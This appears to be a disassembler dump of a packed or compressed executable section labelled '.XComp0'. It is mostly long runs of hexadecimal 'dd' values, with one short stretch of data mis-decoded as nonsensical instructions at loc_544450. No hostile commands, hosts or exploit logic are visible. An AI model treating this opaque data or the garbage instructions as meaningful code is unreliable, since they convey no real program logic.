		dd 0EC20D4F3h, 8C525AD1h, 0D20BD938h, 6109C926h, 472AEE4h
		dd 35B38300h, 57F008D0h, 8B1C4878h, 8740FD8Dh, 3EFF3B0Ch
		dd 0D5CB5AA0h, 0E8AC044Ch, 0E1D14464h, 0B873888h, 0D79F1533h
		dd 2231A480h, 0F54E4B2Eh, 2126490h, 52FD1E98h, 0B3E3C12Dh
		dd 2A29CB16h, 831BA00Eh, 549EE6EBh, 894C4441h, 0DC4C31C8h
		dd 0E32C50FEh, 3F08AC30h, 2C00AFB4h, 39A2E0F6h,	5D0408E8h
		dd 69C8F83Dh, 7700F54Bh, 0F933D59Ch, 35C96D62h,	522E2163h
		dd 0DC087AF8h, 0DA380A1h, 880A3B07h, 690BA001h,	35C7BE03h
		dd 0BF0E2469h, 0A692CCCBh, 8A7300ACh, 9351D657h, 0F25E0264h
		dd 2ED7BFFDh, 782CC4C4h, 280FC0E3h, 0E6976463h,	9900E0F9h
		dd 0F6E71503h, 4D1C3316h, 4F805FE0h, 0E5F3CE08h, 1F3112A5h
		dd 0D01027CAh, 32AF8346h, 0C988E100h, 0E6F7FD4Dh, 2CF30379h
		dd 87EC5C80h, 6655CDE0h, 142CD24Ch, 0D2D42428h,	637F0804h
		dd 49DE5144h, 3BB452F5h, 0B5002CFEh, 176D27B4h,	7F01A030h
		dd 4CE9C704h, 88731FC9h, 3C0B500h, 5F340733h, 0A9255300h
		dd 78F72058h, 0F02C0047h, 14F69691h, 2E00CDBFh,	33045CC9h
		dd 2223DA6h, 64C7BCB0h,	0BCD96360h, 75661F07h, 0B0DA4AB3h
		dd 9D824E2h, 0ED4C5C63h, 0DB44EC68h, 0AB1C8F0Ch, 2525C1D1h
		dd 8C4408C2h, 0DAFE7107h, 475057CBh, 325F2CDh, 78B7D1E1h
		dd 497670CAh, 376D3600h, 571CB69h, 3CF4F65Fh, 0C744AE2Ah
		dd 47A93000h, 0FA7332C3h, 0F584075Dh, 20264613h, 251917CFh
		dd 1AE0F000h, 2861BB86h, 6D521634h, 305012B4h, 0F7F21F0Ch
		dd 26518C01h, 10482D55h, 3AA2E7F0h, 0D500EFA4h,	0C0B7DD6Bh
		dd 5A31D129h, 0ED4D39DAh, 0CC5B2468h, 4E002AA8h, 25C997B4h
		dd 130561EBh, 0A708374Dh, 39100090h, 0A2B50A77h, 0D604021Eh
		dd 95FE4A7Eh, 0F0A8FA61h, 0AA00ED40h, 0C3B69760h, 47913F4h
		dd 241AD741h, 27188214h, 84CC5310h, 0E9909CA4h,	748C4203h
		dd 0A0C53058h, 194CEC9h, 2562525Bh, 30C33E4Ch, 84B9429Eh
		dd 1502CC9Fh, 0E079D14Dh, 488293E1h, 0DC18C8F7h, 33968066h
		dd 60249C26h, 21BBE09h,	795BD491h, 46C1411Ch, 6D5CF437h
		dd 0E1027701h, 0FA251BCDh, 0ED10F830h, 22026032h, 94D41F5Dh
		dd 0BC5974E2h, 417D5C02h, 0ABC2E0B3h, 1583007Bh, 0EC9FA933h
		dd 0CB124246h, 88889C1Fh, 997B005Fh, 5DCDC4B5h,	4B033E5Eh
		dd 1A9A503Ah, 0E40CCA11h, 4E2325B8h, 0D1CD9010h, 6309870Fh
		dd 50A612DDh, 25C83E28h, 209129C7h, 171B18E9h, 722228EDh
		dd 44DE36E8h, 1720CD44h, 184E97BBh, 0E5263CF8h,	10C741B4h
		dd 39A433BEh, 0ACA4AC11h, 318D4560h, 0A1E507F6h, 0B32A660Eh
		dd 684EC343h, 0BCEBC28h, 30B02551h, 4A5EFC81h, 5CD42041h
		dd 0A422AB89h, 96CF3509h, 0BB761380h, 2838B893h, 0EBBC3h
		dd 0C82C50DCh, 0A137C6C7h, 0D1114D98h, 0A904D53h, 30A010E4h
		dd 8552BF13h, 0C0D8ACB4h, 0A59948ACh, 0F4250023h, 2E4A88CAh
		dd 2832BDA0h, 833468F9h, 0C027E864h, 0E06F5158h, 69C30465h
		dd 805B3A33h, 9C87C60h,	76AA3703h, 0A8519349h, 143EA6Dh
		dd 8F8BE42Ch, 2F3FC79Ch, 25642Ch, 14B35E3Eh, 59A06E28h
		dd 0A8A3321Dh, 40304CD2h, 0FA04710Eh, 6C2300E3h, 88E813A1h
		dd 58000D77h, 0ABB216CAh, 0B1B8D069h, 0F6E9803Ch, 7DBC0C49h
		dd 0BD047B71h, 889CA233h, 12CD1C82h, 804F0C7Eh,	12E2B7B2h
		dd 0A4D10008h, 25E3761Eh, 830022B1h, 0BA90A394h, 5ED76E96h
		dd 1A809174h, 3E31D04Dh, 89515525h, 0FC459ECh, 71E0529Ch
		dd 0F19218A1h, 86AD5100h, 0A431FB11h, 4D0C1341h, 1054B53Fh
		dd 0A20F29A4h, 97834002h, 4031A0B9h, 0BCCA61D7h, 0E3F8718h
		dd 4BFB154Ch, 0E4E49644h, 103BF100h, 4E41AEC4h,	8483017Eh
		dd 5D0AB70Dh, 5EF3C056h, 9EAF4C03h, 0D05A973Dh,	9C157DC7h
		dd 71F90C94h, 1700D449h, 0FF167F2Ah, 526BF9Bh, 41A3DA9Dh
		dd 97A0886Ah, 12CD4C00h, 3DB5AF4Dh, 5DE37D3Eh, 305E745Dh
		dd 0E87AF34Ch, 0A03A9E16h, 5406830h, 621C0254h,	803DCA4Ah
		dd 0D5B864A3h, 89F40EE8h, 0A22A6700h, 0A4A637AEh, 0E36C07D2h
		dd 0A9F8A72Fh, 0C713D071h, 37C494C9h, 0FA15E43Ch, 0C5BAA009h
		dd 7063EB52h, 0F4225F00h, 0E72A4F18h, 7B2F2EB8h, 0CC00E363h
		dd 4D2E4B8h, 9865E64Ch,	924410B0h, 607CB9CDh, 57DB9395h
		dd 7ECF1A0Eh, 9FBB82A8h, 8198807Ah, 14FFAABh, 4206E8FEh
		dd 70A5B0CDh, 0C789D838h, 0A9FA838h, 80CD7E6h, 3E928E32h
		dd 35433430h, 962E0101h, 8209B8B2h, 973FCCF1h, 1E4C3413h
		dd 0B03CE4A2h, 0D0BD0D81h, 0F0230479h, 6125AB31h, 1F06C4Eh
		dd 0F17EBB32h, 0D0E544BDh, 2F5ABF83h, 53C084Bh,	0F80AD3E4h
		dd 0B8249F35h, 0A9FA3785h, 82BFA070h, 4597091Fh, 8CF147D1h
		dd 0C5358D40h, 5C9B00DAh, 44660D51h, 0B205A3E3h, 0DE4BE1D2h
		dd 38F97885h, 78055C80h, 8A174894h, 6C20AE31h, 0A7B897h
		dd 91D3EC39h, 2994E9Eh,	6719504h, 0D0DCD13Ch, 990B1F90h
		dd 8031C181h, 0FC258B62h, 0EC9C6519h, 0C824E840h, 5EF400E2h
		dd 114F7BBh, 7D003644h,	7FBC3548h, 2915741h, 318F343Eh
		dd 40DCAF2Ah, 806BE808h, 0DD12FE0h, 7D010E73h, 853D7FF1h
		dd 0F820C4C9h, 14CBF4ACh, 0F4EABFF9h, 87803682h, 8D033CC6h
		dd 0D0C1A0E2h, 0D686815Ch, 64737DD5h, 22397F00h, 0E57480DFh
		dd 460E4CF8h, 3DE04853h, 52261A0Fh, 41706028h, 0DC202F38h
		dd 0F6EB5DBh, 3A8C76FFh, 10929387h, 0E7F7CCC0h,	7904F4FCh
		dd 0D8AB51B9h, 6078F647h, 95FD2A3Dh, 54F6FFF0h,	223FC001h
		dd 33C74B9Eh, 0CDE8202Fh, 0E8965DA8h, 0ED830640h, 6947008Ch
		dd 799F78B4h, 9B1D4CEEh, 39009E4Dh, 0AC1D8528h,	0D2B84BD3h
		dd 329B2C0h, 0C8E7FFA5h, 1F69D77Bh, 8FA8D192h, 9FC5A97Dh
		dd 0FB98879Eh, 0BAE19848h, 0F1F0F400h, 7190A567h, 0AE3D02E3h
		dd 878455C7h, 8F5CF0D2h, 42C5C8E8h, 5F07D1C2h, 0C04E2270h
		dd 766BF443h, 13E100C5h, 308247E6h, 0BA09568Dh,	0E4AB10B1h
		dd 0CD600518h, 0C2B4A021h, 60D02A80h, 7B51B34Ch, 8564E75Dh
		dd 0A0A83A31h, 3EFD5E80h, 0AD1F5AA5h, 0ED80C811h, 6EC06417h
		dd 0A9D4BCFAh, 459680F0h, 15413B6Ah, 76267505h,	0E881C446h
		dd 0C3126333h, 50401C7Eh, 32886Dh, 0F3B978BFh, 0E3D76669h
		dd 0E41E5600h, 7D427CA7h, 9CA158B1h, 4B55910h, 61339531h
		dd 7F8074E8h, 34198902h, 4C712B07h, 7E500E8Eh, 0F0CFEBDh
		dd 0E323B2C6h, 0C2F0266Ch, 0D811BF84h, 0AF1BDCC9h, 2E0A6B00h
		dd 0C733B01h, 6C4600E0h, 0AD2FDB0Fh, 42171F66h,	0F0C871CEh
		dd 0D690004Fh, 4438606Ah, 961E89ECh, 3E1CD508h,	0D8250Bh
		dd 0D3CC37CFh, 992926C7h, 0A2F0454Ch, 36A780E4h, 5D2E0h
		dd 0DB5FCB84h, 0F56B7C5Bh, 3417C116h, 0F41AAA01h, 492F8DB4h
		dd 0DCE2EBECh, 3FE4F1h,	34EBA0Eh, 0F7C296h, 0E9F2F555h
		dd 0FB9DA5Fh, 0B8517A00h
		dd 2B37C152h, 0A940077h, 9B21CEF7h, 1D060B1Ch, 8462A406h
		dd 70130028h, 0AAB2DF47h, 2000E311h, 0E109E73Bh, 0FC67DE8h
		dd 2C8BFEBBh, 8459FF2Ch, 0C19DC1Dh, 63E211F0h, 0A7A20092h
		dd 79944D78h, 28C170E6h, 81D39751h, 0B9D6AB10h,	0D42D18C1h
		dd 40E210C6h, 3B8E5EF1h, 5A006804h, 727ACC8Fh, 5069E70h
		dd 4C0F4F0Eh, 1FF73841h, 10F6988Eh, 0E90B1740h,	68C0559Bh
		dd 0D80C01C4h, 8D640077h, 5A81C2B9h, 0F300D3F2h, 106C71E2h
		dd 60D15180h, 1543F961h, 8A0022C1h, 275D0F5h, 4FF1E61Ch
		dd 3E48A80Bh, 0B30F00D6h, 1D6BFA67h, 0F4030C19h, 4008CC49h
		dd 0F2B4C300h, 87BBB2A9h, 617E1F99h, 1F490196h,	0E4C37680h
		dd 0CD001A30h, 16410184h, 60D08B03h, 0C8054015h, 86E283A3h
		dd 2088FA14h, 2B2230h, 0FC1B1FADh, 0C318FF9Dh, 821C7800h
		dd 8506C2A0h, 424D0C30h, 0FC51CB8Ah, 0A78C5CC0h, 14C2E491h
		dd 0BF41C32Ah, 12E2B500h, 8BE3691Ah, 5531CF60h,	0E97962Bh
		dd 0B04B8807h, 13C19120h, 846CCAA1h, 618CB080h,	678F9911h
		dd 954E836h, 81A61500h,	0E1C0E2BDh, 8C8818D0h, 4D582914h
		dd 6F001679h, 0F6D44579h, 0C60F20h, 1A8714EEh, 9AE89F1Ch
		dd 0D8D5A306h, 1C68327Bh, 7CCAA0F4h, 0EE911106h, 2C3080F3h
		dd 468F89ECh, 90DFE833h, 789702Fh, 5F2321D0h, 34E4306Ch
		dd 130A4744h, 0D01ACEF3h, 68E10049h, 0C3F585CCh, 1894ED49h
		dd 2C3A210Ah, 980CC5Fh,	0E9584D19h, 0BD9500E6h,	0F1A439C3h
		dd 4A0081E8h, 9946098Ah, 18941511h, 39592C1Dh, 570021BDh
		dd 20D8E064h, 0EA186Ch,	61C31ADAh, 365E325h, 6D949100h
		dd 13D11638h, 4B8106AFh, 894F11B1h, 803FE4F8h, 0ECE30AA1h
		dd 0B61850E9h, 8814C110h, 0DA07BD9Bh, 12D1376Bh, 6FFAE0B0h
		dd 19F1C0A5h, 4DED6901h, 9B207050h, 61F75CC0h, 0C917E13h
		dd 114A072Fh, 9B00A921h, 0D64C3742h, 4893A86Eh,	5A020697h
		dd 31C213FFh, 1D00CC54h, 0BB7BC4FAh, 1E350A7Dh,	80D0F932h
		dd 2CA52D6Ah, 9F1FB474h, 5EC0156Eh, 2B83C504h, 7D0906A9h
		dd 31CC3341h, 4E027EFCh, 0A0C4149Ch, 64626Ch, 0C573E8A8h
		dd 3BD0C4CDh, 901F0312h, 24397CEFh, 8C143986h, 0FEC12849h
		dd 23836500h, 212E76FBh, 57FC58h, 0FF5E3322h, 6C9B20F0h
		dd 5832C531h, 94111517h, 880415F5h, 0DF031902h,	9B886432h
		dd 9A3AE77Ah, 1F390062h, 1DBA79B9h, 0A2CC0FDBh,	0D5C0A331h
		dd 5D9511A0h, 7249E960h, 4A743A9h, 7ECD3390h, 0E03897EFh
		dd 0E1ACC8C2h, 8938A264h, 81081E04h, 24622C20h,	0A97C9124h
		dd 0E2EBC100h, 1399A3D1h, 25B07E7h, 97511BC7h, 0ED5EF0B2h
		dd 0FE670F4Ch, 0C97C33C0h, 0E8A60F9Bh, 0C9207D96h, 0A387C5A1h
		dd 0B7B8A000h, 58E28B1Eh, 0D59B00AFh, 17CA2C14h, 88A0CC09h
		dd 0E4F1927Fh, 3224D31Dh, 6F804806h, 0A1ADAF20h, 0BB040CFFh
		dd 0E48EE795h, 0CA497305h, 0C82080FAh, 0C0FF30A0h, 0AA21A89h
		dd 9FA0995Fh, 45003E0Ch, 0D6B1DCF7h, 0F6E41369h, 0EC88C0B0h
		dd 0B217CDC0h, 0C21400E7h, 21180034h, 73E3B531h, 0FA26CB2Dh
		dd 6C80BC87h, 6B294D05h, 593803FCh, 232F90D4h, 0F09E89D1h
		dd 4000B175h, 0C791EBEFh, 60DBF718h, 0A7053098h, 9D744AADh
		dd 760F6A0Fh, 0E2E1009Eh, 0C18DCAh, 0D6616D64h,	8B63773Eh
		dd 2B051D03h, 1C9AE44Dh, 4BF539h, 0F11B5391h, 0B8005AE2h
		dd 9F482096h, 3A75EBh, 76B3A02Dh, 2F68CAD9h, 0E6C6BE0Ch
		dd 3C6940AAh, 6EB7BF07h, 90A43789h, 2D017971h, 60961401h
		dd 0A525CACCh, 180A3891h, 3D8198E4h, 0C09B00D3h, 8250BDEEh
		dd 0E300D2F2h, 96862117h, 0CA7EC7h, 8CD1B8Eh, 0ACEAF143h
		dd 0B18238C6h, 101A00F9h, 0A3F3B7A9h, 0FC00D0B3h, 30430B80h
		dd 2EE6EAA0h, 0EBE71F2h, 0A9B8C1BEh, 0CD0D0A3Dh, 89AB1D43h
		dd 1FED9C60h, 0D9217B64h, 0D0B2289Ch, 0F3785125h, 0CBBEA106h
		dd 44C1A8B5h, 733DBDA2h, 0B8F8F40h, 77D4601Ch, 30745B8h
		dd 850CDF9Bh, 998C15Bh,	0A4A1AC2Eh, 0F62A0177h,	4952D098h
		dd 4392E07h, 0F82B0032h, 0B02D0B0Ah, 7B97130h, 0CC713A3Fh
		dd 0F4AC412Ch, 0ADF89C4Ch, 0CA24C600h, 2B2206h,	5DEBAF7h
		dd 6BEAA82Dh, 80D2B8A1h, 0C50BB5E1h, 0A3A43643h, 0D5CAF838h
		dd 159690E2h, 0A8AAFEBEh, 90C9CD00h, 4B59A95Dh,	90867C30h
		dd 150AE73h, 4CAD9B2Fh,	0BB8F29BEh, 0C2C91431h,	8097888Ch
		dd 3F206413h, 310FCE89h, 0C0DDC037h, 0B928F3Ah,	0DF5105ECh
		dd 16EE18A2h, 48A91BC4h, 1DD0409Dh, 4429C47Ah, 43D9E507h
		dd 0FCCA9137h, 648CDDE0h, 0EC96003Ah, 0ED224DFAh, 18001661h
		dd 0AA0C9CFh, 6F3CF43Bh, 8010F8CCh, 65EACD9Eh, 0EC7C0092h
		dd 0E6BFCC7Fh, 430DAC6Fh, 28A3E3F0h, 698021F9h,	43BAEADh
		dd 7801B52Dh, 0AB32A50h, 0C3CC9C20h, 43A01D73h,	2430E8F2h
		dd 8020D6F6h, 91CA02B6h, 2307FCA8h, 8950248Fh, 78E0BB97h
		dd 6125C53h, 0E387D6B5h, 3F00419Fh, 4E892DD3h, 1C26B78Fh
		dd 0FD34D8A8h, 6DA1CC8Ah, 0EE2A8090h, 0F8BF83FDh, 0A0C0B5E8h
		dd 0AFF379Ch, 5EC9142Bh, 7DD4BAh, 68FA19B2h, 0D3C0BECFh
		dd 0C360AA49h, 0E2D96FD8h, 41A408Bh, 712A0238h,	45C4A6D2h
		dd 11B10C41h, 885043F4h, 717230Dh, 0A57A11A2h, 65CA4329h
		dd 145C97F0h, 0C4A1FE08h, 0A90500A8h, 0B875D1D2h, 0E91FB7F8h
		dd 6F001DF6h, 8CEE0472h, 37F53007h, 2C75BD59h, 0E8644105h
		dd 6CB88410h, 0BCC9E700h, 7A70B0E2h, 92CCCF03h,	6753FDACh
		dd 486AD899h, 5682B505h, 2C5810h, 83A3842h, 96A2F3Fh, 5F909C63h
		dd 8850E80Eh, 0FAAC809Bh, 0B39E4494h, 60033Ch, 9256AF52h
		dd 0B84FEC5Dh, 69B23087h, 297B3D71h, 1B694960h,	31F50A07h
		dd 2A109B8Ch, 0E6EC48E5h, 161EA471h, 94803598h,	20E1C3C4h
		dd 41F537D3h, 537CA041h, 93F0DF90h, 3C743D01h, 0B3869709h
		dd 4C02DC55h, 29CD523h,	0E4643A43h, 80E08248h, 76E4033Ch
		dd 5C360205h, 72B2083Bh, 95C45840h, 0A8D7A724h,	6F3DA911h
		dd 827CB786h, 5D0041ABh, 7D323C91h, 9DA99B1h, 51B892FAh
		dd 89F32886h, 4FB06901h, 0AE21F044h, 84549994h,	0ED384B9Eh
		dd 7E451A82h, 7E2D5C87h, 68A07C91h, 0AB245928h,	0F118B89Bh
		dd 7F2AD9h, 0B91E5D4h, 83FCC41h, 44F47318h, 0A24F41h, 0C59E523Eh
		dd 835CAA93h, 8CE17502h, 90287B30h, 0A8BAA190h,	0FF3CF0h
		dd 7DAF223h, 549768ACh,	0E7EF7803h, 0F81B190Dh,	1246CF22h
		dd 22D5FABEh, 0F498BD2Ch, 0CF60F509h, 1A713E59h, 482D7ED0h
		dd 9D3D028Dh, 41700600h, 0E5312EB9h, 0C22F407h,	7E538CC0h
		dd 84AEA29Ch, 453A2BCh,	409BCC9Ch, 0B66DB73Ch, 0A1C82A92h
		dd 49572298h, 200DB500h, 383D2A90h, 117200BEh, 3C1FD7D0h
		dd 3AF87139h, 0A1AA0D0Ch, 0C0F1ACh, 0EF23E6FCh,	0D8507A97h
		dd 535F5B00h, 0C37B35AFh, 0E8805168h, 508176FBh, 2CCD7C26h
		dd 524E1B7h, 81B96704h,	747A90E0h, 0F181F700h, 0B8FD6217h
		dd 94AA9893h, 99E423h, 331289E9h, 6CCEC3F9h, 0C8FEFC03h
		dd 90D96002h, 0C25E496h, 0ABD5A1FBh, 0F688A339h, 0A83A047Dh
		dd 0BE10CBB9h, 0DEA1DA01h, 8C491664h, 0D781CC01h, 4059819Fh
		dd 4264DD36h, 0CC0069F3h, 2C0C04B7h, 987A38B0h,	0A6DB0AF4h
		dd 80E4D0F4h, 17D4D840h, 0BE0031DEh, 9E2F9AC3h,	16D3604h
		dd 0BCAC61F4h, 373FE482h, 976E0080h, 0FC306CFAh, 0CE7B1642h
		dd 3FAC00FBh, 0C77B1DAh, 0D57DC505h, 0C840B8A1h, 0E564026Dh
		dd 13BC023Eh, 0BC2EB8Dh, 707214E1h, 0E0886A4Ch,	4443172Bh
		dd 0A04023Dh, 0C0875139h, 8CC6C4F8h, 810E5368h,	388CF3Ah
		dd 0B047DDB4h, 0F507E57Ah, 1FFDE0EDh, 0E83D49FCh, 0AAE28DCh
		dd 840429Ch, 8FBF82E0h,	6040B427h, 2EF9AF43h, 4C853600h
		dd 39E792CBh, 38F43063h, 67664739h, 0B78BA803h,	0E8FB5BEDh
		dd 0C2456E27h, 0E2B86468h, 0D1968063h, 0A9458C98h, 4257C64h
		dd 0F1443E1Ah, 2D7240E6h, 247B2CEDh, 0A1889120h, 0FAF7839Ch
		dd 0B780B172h, 473F13D6h, 1C2C03A5h, 1A5AAF0Dh,	0A14D2138h
		dd 0CC9F9D05h, 850005A8h, 5C8A642Ah, 3129A9E2h,	7C21C3E4h
		dd 124222Bh, 971F3C2Ah,	58503744h, 0C4698EF4h, 457E3659h
		dd 9C40D682h, 931FC10Eh, 9BA902FCh, 8C2023FEh, 0A645B068h
		dd 1870788h, 0C5DA3BF6h, 80A1E41Ch, 2C66C119h, 63CEFAh
		dd 7D5A7479h, 1EEE39B4h, 0AAE290B0h, 24AD0A0Ch,	49F471EFh
		dd 2005CD9h, 2A36E647h,	9178DF6Fh, 0E2FFE900h, 6AB408FAh
		dd 6238259Eh, 0DC611411h, 5B0A3678h, 5493FEB3h,	9DA03988h
		dd 0DA697082h, 2E09EAF7h, 2036A271h, 0C5D5B4F4h, 82F526B7h
		dd 74C64314h, 0F713E7D8h, 0F08F4502h, 8991EB43h, 5E98187Ch
		dd 40830362h, 128B642Ch, 0E7664498h, 0CFBA500h,	0A7D9B73h
		dd 39B315CDh, 8B2A80E5h, 0EC0E3F60h, 0A9400381h, 22C4BEEEh
		dd 0C0690998h, 9928047Fh, 892A7C44h, 986358h, 88F20B10h
		dd 7EC72398h, 0BE252E11h, 0FE9E5014h, 53CC7300h, 98ED021Ch
		dd 0CFC30C2Ch, 6A4972A1h, 9F584C28h, 0BDA0D00Bh, 82602FD8h
		dd 4ACD207Ch, 80C660h, 8E030252h, 2AD57673h, 0DD010F72h
		dd 9E0A9456h, 98299282h, 0B211F500h, 0C82ADB4Dh, 68137007h
		dd 1050817Fh, 0B9673F3h, 1D6775B4h, 32419898h, 4E708F01h
		dd 9485C7CDh, 277BAFCh,	0DA27AC6Bh, 0BCC01A2Ch,	0AC919CDBh
		dd 0D0F68A41h, 0C34970h, 11B32E0Fh, 0ACE51F43h,	0A2456090h
		dd 8A40EC30h, 0CD3F9482h, 0B8F270A3h, 412287C0h, 0E6431D00h
		dd 15A1CC71h, 0C00896ABh, 0FEF30965h, 0CFEEFE2h, 0FC869A05h
		dd 0C980C0A8h, 2A50563Ch, 40A87A68h, 0E4A53569h, 514C8800h
		dd 0C2A0E774h, 0CD63B8E8h, 0D5780860h, 0FCAC7D18h, 0A1CCA771h
		dd 68607380h, 6F9CB8AAh, 819D5147h, 0F29CE48h, 0B3686033h
		dd 1D8B053Fh, 0B1A221ACh, 0ED5C8038h, 69743B43h, 0E500D7F6h
		dd 0B6C5A82Eh, 48877CEBh, 2C240085h, 0EF434258h, 8A0BB0E6h
		dd 94C592B2h, 1D8F0FD4h, 0F7203713h, 0D601B012h, 678653Ah
		dd 0A325BE2Ah, 0B8773F29h, 0C22ED53Dh, 0A074018h, 93300C2Bh
		dd 54F559A0h, 6D2000C9h, 0AFE54298h, 3B00889Ah,	0B0D867Bh
		dd 0E43CDD2h, 0A42D79AEh, 0C4D00AE4h, 0CE788C98h, 0B00B2FEh
		dd 0CBF86D78h, 2E2AA2Ch, 3BDD5F6Eh, 0B8C9D568h,	37CC10BCh
		dd 3BB5F8A4h, 8780777Dh, 90D8AA9Ah, 0F500C202h,	0AA9B7BFh
		dd 92C3A1F1h, 0BB720F18h, 0B1C0B203h, 5E39014Ch, 0B52AD90Ah
		dd 0FB40DC83h, 4C5A91C9h, 945804F8h, 15827C44h,	0B44B3E7Ch
		dd 300A9313h, 8108725Ch, 0B87CF400h, 0C1D9A22Eh, 1F5C33E9h
		dd 0F8E17849h, 7FC2282h, 817ABB09h, 2DE27760h, 9F2706Ah
		dd 0E6A5918Dh, 0AA1C10E0h, 24948B88h, 8184A9B2h, 0C0BE70F3h
		dd 1C99876Dh, 40FEF863h, 0B515CCA5h, 1CCA5820h,	0B3119321h
		dd 0C8856900h, 805559AFh, 66890700h, 3E218196h,	488B0F32h
		dd 0C542F0CAh, 0D8721D43h, 18297C27h, 1CCE0A48h, 9EE592CAh
		dd 0B2810CDCh, 9F005221h, 751482A4h, 1DFEEDC4h,	815334DDh
		dd 74C2AACBh, 0C6B83032h, 1ACA252h, 0B8CC2A83h,	0C60AB05h
		dd 3C9F54EBh, 0C4E58B45h, 0DAF08CFCh, 0BAAF88h,	1354A8CBh
		dd 4627ABA4h, 81D2D338h, 44309233h, 3980A5EBh, 392C7B2Ah
		dd 290A81FFh, 6CC5E6F6h, 0B0D0A113h, 0F4E5CED4h, 0B37120h
		dd 0FB0799BFh, 96BBD171h, 5067863Fh, 43442C50h,	791C012Ah
		dd 0A3878EEFh, 0BDCD4CCh, 3167F300h, 817D3ECEh,	7411B020h
		dd 0AE901D0Fh, 0F0A5A704h, 1EB48AACh, 75C08A3Ah, 2A4F59DBh
		dd 35570073h, 94E4FEE9h, 0E7B0A45h, 204474FFh, 60A15244h
		dd 89A2C9BFh, 535C80F4h, 70F20062h, 0F655B0CEh,	0C4CB01C5h
		dd 7F1E813Eh, 47F5F51Bh, 16A114B0h, 0EFD8D030h,	0CB9F00D0h
		dd 0D36CDE5Eh, 3A01DAC8h, 0A5C5550h, 730C487h, 24C4C3DBh
		dd 381346E6h, 0D427C5BEh, 0B027926Fh, 213085A9h, 3E430842h
		dd 292F20A5h, 0EE310ADAh, 8324FECCh, 11FC29A4h,	72933FB6h
		dd 0FF264E00h, 44C11F15h, 0E580C8Eh, 2131D483h,	0CC20D860h
		dd 326BF282h, 97A9931Eh, 0C421A204h, 623D12C3h,	20AC0058h
		dd 15D2A6Bh, 0CBAC2D8Eh, 62BDBE72h, 0FB42DFCh, 0BF28A174h
		dd 198785C6h, 0A096293Dh, 2A809EC2h, 0D97DE430h, 341CC18h
		dd 0A4E81B8Eh, 3BA8EED7h, 7811F697h, 0AC01C4A2h, 0AF0A2A46h
		dd 3C1060E6h, 8623A702h, 4EA073BAh, 213E438Ch, 0BEE7053Ah
		dd 2A6840CBh, 35BDF47Eh, 1D29DB09h, 0F1BB8270h,	8BF0690Dh
		dd 0F0802C2Ch, 602A739Bh, 0FC94AE00h, 0A0BFDE4Ch, 0F5C83002h
		dd 217B90F0h, 20708627h, 9A2B0194h, 0BF8EC81h, 0C4100CE0h
		dd 3E4C6C0Ah, 8C3092B2h, 0AB60B02Ah, 5B5905h, 0C9302234h
		dd 0C2CD6F5h, 0D04B4598h, 72CDF801h, 53D80411h,	8C320782h
		dd 2CBBE4AEh, 0C9805DC9h, 82F094A2h, 217C45B8h,	0B88445h
		dd 147D5073h, 53B7D5h, 4962B0F7h, 4D33BB82h, 9BBF9C00h
		dd 0C5881B89h, 42049C2Ah, 0B9409246h, 331439E1h, 0BCC08B9h
		dd 13AE27BEh, 203DC044h, 0F52C0CD2h, 85A1ABB3h,	91ACDA83h
		dd 2A1038D8h, 9900DFF4h, 850176E9h, 580AAAA3h, 0C09DF8F5h
		dd 0EC2C36E8h, 0EF4C30A8h, 819800AAh, 0F02A446Dh, 20A89045h
		dd 0F430490Bh, 6FC3942h, 0D54101B7h, 0CACDC086h, 30E3F625h
		dd 6988D095h, 226FF027h, 5A7E3140h, 0EB6020B7h,	94B4B3C5h
		dd 0F82E0740h, 9C3105FDh, 0E4AF086Eh, 0CA2EC504h, 0CB8470E4h
		dd 7CF22B7Ch, 0F0AC6D87h, 747A0A14h, 93735A00h,	0AA32D17Bh
		dd 0EC7C3E10h, 481978AFh, 3FE4176Ah, 0F0F194E5h, 204AA422h
		dd 16BB7800h, 0B661CE02h, 0A0CDDF67h, 6B90AB3Ch, 0D6B82Eh
		dd 69C07D84h, 0A7C1F33Bh, 6702107Bh, 264FAB49h,	40688DE0h
		dd 6C0F2479h, 1A60EA12h, 88FB0D33h, 2EE49440h, 1CF8C57Bh
		dd 0AD0BC170h, 7437724h, 44378BCEh, 4C562138h
; ---------------------------------------------------------------------------


loc_544450:				; DATA XREF: .XComp0:off_45345Co
		adc	bl, dh
		add	byte ptr [edi],	0D1h
		adc	eax, 0F0003046h
		pop	edi
		retn	9CDEh
; ---------------------------------------------------------------------------
		dw 364Eh
		dd 338C1281h, 2A90C086h, 0BE4FFB20h, 0D0EDD430h, 8E2E3EC1h
		dd 0F1B9657Dh, 523C01E4h, 0F4298B6Fh, 900F4C06h, 8015C69Ah
		dd 0F0B5CCEAh, 49DA240Dh, 450F0860h, 65741025h,	0CD4105B2h
		dd 0E21FEF5Fh, 6BAE0530h, 0ECB22A8Bh, 4024274Bh, 4053D9DAh
		dd 0F4A6A200h, 28F1061Ah, 92D003BAh, 464B26ACh,	80D8694Ch
		dd 0C3851150h, 0A84D4B30h, 0B8AC0784h, 81907BA8h, 21B7F8h
		dd 6EB1A042h, 0AC9C2C07h, 0FCD82B2Ah, 0DA0708F0h, 3BE25E62h
		dd 4B0C305Bh, 5388009Eh, 0C99129FEh, 4C070540h,	0E03734A7h
		dd 0C4283AA2h, 467C88B8h, 20CD0B61h, 58C0212Bh,	0C800293Ch
		dd 0FB9CEA70h, 7B84FDC9h, 0BC31657h, 0AA5804E6h, 0EC0016A0h
		dd 389CDBCAh, 80F0BEA2h, 8D0233E5h, 0D2002C14h,	0CC501DB1h
		dd 323038AEh, 0D980DD65h, 102E77F6h, 0C0909314h, 0DB6CC249h
		dd 3A90002Ch, 0EB87AC10h, 0F101226Bh, 74C1F63Ch, 0C38CD76h
		dd 0BE25BB80h, 0E800EA71h, 93253F2h, 54AB8B55h,	28C12C73h
		dd 922FE3h, 2618FECCh, 0D703F93Eh, 33EC5809h, 8C511Bh
		dd 4CFF6EBBh, 641E297Dh, 2B0F9BA7h, 0E136A0D4h,	50424D8Bh
		dd 0F59992h, 81A8F12Ah,	0CBAF85B6h, 0A911C703h,	0F0671E7Bh
		dd 98351Dh, 885EBFA2h, 0CDDEEBF5h, 0D61F5770h, 26802318h
		dd 5DFA0581h, 689B0634h, 40A8E0A5h, 0BC828007h,	188CE11Ah
		dd 8159C108h, 0BC1DFC9Ch, 463F0318h, 0D209367h,	0AA5A2511h
		dd 0A297E028h, 60C517F1h, 40900C00h, 0C0AB18DAh, 0F7FC8C11h
		dd 1CF0BE38h, 726100B8h, 8AA2A818h, 0DE084180h,	775E44D6h
		dd 1641CE03h, 0A09AF128h, 740AADh, 0F8701898h, 0C9F452A0h
